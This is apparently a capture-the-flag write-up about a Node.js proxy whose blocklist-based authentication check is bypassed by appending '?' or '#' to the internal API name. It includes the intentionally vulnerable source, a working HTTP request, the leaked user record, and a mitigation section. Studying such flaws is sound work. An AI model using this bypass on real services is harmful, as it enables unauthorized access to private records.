This application simulates a complex set of applications proxying data to and between, with a flawed authentication check allowing access to any endpoint. Our task is as follows:

Get Augustus Gloop's user record (Id:4dc6b6fa-963f-4c51-b100-d2c5def2498d) from the API

Source Code

Compared to other challenges this code was slightly larger, here are the most important bits:

JavaScript

const uuidFormat = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
const requireAuthentication = ['getuser', 'getcompany'];

// External API (challenge input)
app.post('/callApi', async (req, res) => {
    let json = req.body;
    let api = String(json.api)?.trim()?.toLowerCase().replaceAll('/', '').replaceAll('\\', '');
    let token = json.token;
    try {
        if (requireAuthentication.includes(api)) {
            if (token == process.env.tokenSecret) {
                console.log("authenticated api:", api);
                const response = await axios.post(`http://localhost:${process.env.internalPort}/${api}`, json);
                res.send(response.data);
            } else {
                res.send("Invalid token");
            }  
        } else {
            console.log("unauthenticated api:", api);
            const response = await axios.post(`http://localhost:${process.env.internalPort}/${api}`, json);
            res.send(response.data);
        }
    } catch(e) {
        res.status(500).end(e.message);
        console.error(e);
    }
});

// Internal API (target)
app2.post('/getUser', async (req, res) => {
    const client = new MongoClient(process.env.MONGODB_URI);
    try {
        console.log("remote ip:" + requestIp.getClientIp(req));
        console.log("/users body ", req.body, typeof(req.body));

        const userId = req.body.userId;
        if(typeof(req.body) === 'object' && userId && userId.match(uuidFormat)) {
            await client.connect();
            const db = client.db("evenr2_2");
            const user = await db
                .collection("users")
                .find({ user_id: userId }) 
                .maxTimeMS(5000)
                .toArray()
            console.log(user);
            res.send(JSON.stringify(user));
        } else {
            res.send("Invalid arguments provided");
        }
    } catch (e) {
        res.status(500).end(e.message);
        console.error(e);
    } finally {
        await client.close();
    }
})

...

app.listen(process.env.externalPort, () => {
    console.log(`External API listening on PORT ${process.env.externalPort}`)
})

app2.listen(process.env.internalPort, 'localhost', function() {
    console.log(`Internal service started port ${process.env.internalPort}`);
});

As seen above we have one endpoint available (/callApi) and another internal endpoint (/getUser) that is only accessible on the localhost address, which the external functionality does for us. As the goal is eventually to get someone's user record (Id:4dc6b6fa-963f-4c51-b100-d2c5def2498d), we should look at what is stopping us from doing so.

We cannot directly reach the internal endpoint and have to go through /callApi. There are two axios.post() calls that make this internal connection, potentially to /getUser with our request body. If requireAuthentication includes our api input, authentication will be verified by comparing our token input to a static environment variable. Not much hope of bypassing this.
If this condition is false, however, we will still send a request as an "unauthenticated API", but it ends up calling axios.post() in the exact same way as an authenticated request.

Bypassing authentication requirement

If we can come up with an API name that doesn't get matched by ['getuser', 'getcompany'] but still fetches /getUser after inserting it into the axios URL, we should be able to bypass the requirement for authentication. Luckily for us, URLs are quite complex and the validation done here is insufficient:

JavaScript

let api = String(req.body.api)?.trim()?.toLowerCase().replaceAll('/', '').replaceAll('\\', '');
...
const response = await axios.post(`http://localhost:${process.env.internalPort}/${api}`, json);

While the API name is lowercased, and / forward slashes as well as \ backslashes are removed, there are more characters that change the name but don't affect the path. Namely the ? question mark or # hash symbol. Putting these at the end of a URL will start a query string or hash fragment, but won't affect the matched path anymore. In essence, the following URLs all go to the same path:

URLs

http://localhost:1337/getUser -> blocked
http://localhost:1337/getUser?anything -> allowed ✔
http://localhost:1337/getUser#anything -> allowed ✔

This allows us to access the internal API without authentication, and provide a userId paramter with the correct ID to receive "Augustus Gloop" their information, and solve the challenge!

HTTP

POST /callApi HTTP/2
Host: event2-2-89ug.vercel.app
Content-Type: application/json

{
  "api": "getUser?",
  "userId": "4dc6b6fa-963f-4c51-b100-d2c5def2498d"
}

Response:

JSON

[{
  "_id": "646be35e36948f6269964fb6",
  "user_id": "4dc6b6fa-963f-4c51-b100-d2c5def2498d",
  "company_id": "08327cba-ba2d-4a95-983e-d13ee3d4693e",
  "name": "Augustus Gloop",
  "secret": "d5c94bdf-ec04-4af6-96e7-898a18860df6"
}]

Mitigation

While the authentication check here was flawed, and it can be fixed by filtering special characters such as # or ?, this is not the best and most future-proof solution. In general, you should minimize the number of decisions that are made after authentication. In this case, the authentication check happens on a higher-order server that proxies the request to an internal server. Ideally, another authentication check should be done on the internal server, closer to the endpoint.

A common pattern for this is having optional middleware on a function instead of a list of authenticated endpoints. This makes it clear in the code what endpoints are and aren't authentication, and prevents the possibility of forgetting to add a function to the blocklist.

An even better pattern for preventing accidental unauthenticated endpoints would be to make all endpoints require authentication by default and have a strict whitelist of endpoints that are allowed.